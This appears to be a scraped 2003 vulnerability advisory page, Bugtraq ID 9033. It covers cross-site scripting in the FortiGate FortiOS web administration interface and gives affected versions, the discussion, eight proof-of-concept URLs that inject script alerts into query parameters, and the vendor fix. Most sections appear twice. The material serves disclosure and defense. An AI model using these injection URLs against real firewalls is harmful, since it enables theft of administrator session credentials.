FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
BID:9033
Info
FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 9033 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 12 2003 12:00AM |
| Updated: | Nov 12 2003 12:00AM |
| Credit: | Discovery is credited to "Maarten Hartsuijker" <[email protected]>. |
| Vulnerable: |
Fortinet FortiOS 2.50 Fortinet FortiOS 2.36 Fortinet FortiOS 2.5 0MR4 |
| Not Vulnerable: |
Fortinet FortiOS 2.50 MR5 |
Discussion
FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
Multiple cross-site scripting vulnerabilities have been reported in the FortiGate Firewall web administrative interface.
These issues could be exploited by enticing an administrative user to follow a malicious link that includes hostile HTML and script code as values for URI parameters. If such a link is followed, the hostile code may be rendered in the administrator's browser. This could lead to theft of cookie-based authentication credentials, which contain the username and MD5 hash of the password, allowing for full compromise of the firewall.
Multiple cross-site scripting vulnerabilities have been reported in the FortiGate Firewall web administrative interface.
These issues could be exploited by enticing an administrative user to follow a malicious link that includes hostile HTML and script code as values for URI parameters. If such a link is followed, the hostile code may be rendered in the administrator's browser. This could lead to theft of cookie-based authentication credentials, which contain the username and MD5 hash of the password, allowing for full compromise of the firewall.
Exploit / POC
FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
The following examples were provided:
https://www.example.com/firewall/policy/dlg?q=-1&fzone=t<script>alert('oops')</script>>&tzone=dmz
https://www.example.com/firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('oops')</script>
https://www.example.com/antispam/listdel?file=blacklist&name=b<script>alert('oops')</script>&startline=0
https://www.example.com/antispam/listdel?file=whitelist&name=a<script>alert('oops')</script>&startline=0(naturally)
http://www.example.com/theme1/selector?button=status,monitor,session"><script>alert('oops')</script>&button_url=/system/status/status,/system/status/moniter,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status"><script>alert('oops')</script>,/system/status/moniter,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter"><script>alert('oops')</script>,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session"><script>alert('oops')</script>
The following examples were provided:
https://www.example.com/firewall/policy/dlg?q=-1&fzone=t<script>alert('oops')</script>>&tzone=dmz
https://www.example.com/firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('oops')</script>
https://www.example.com/antispam/listdel?file=blacklist&name=b<script>alert('oops')</script>&startline=0
https://www.example.com/antispam/listdel?file=whitelist&name=a<script>alert('oops')</script>&startline=0(naturally)
http://www.example.com/theme1/selector?button=status,monitor,session"><script>alert('oops')</script>&button_url=/system/status/status,/system/status/moniter,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status"><script>alert('oops')</script>,/system/status/moniter,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter"><script>alert('oops')</script>,/system/status/session
http://www.example.com/theme1/selector?button=status,monitor,session&button_url=/system/status/status,/system/status/moniter,/system/status/session"><script>alert('oops')</script>
Solution / Fix
FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
Solution:
This issue has been addressed in FortiOS 2.50 MR5. Users should contact the vendor to obtain upgrades.
Solution:
This issue has been addressed in FortiOS 2.50 MR5. Users should contact the vendor to obtain upgrades.
References
FortiGate Firewall Web Interface Cross-Site Scripting Vulnerabilities
References:
References:
- Fortinet Homepage (Fortinet)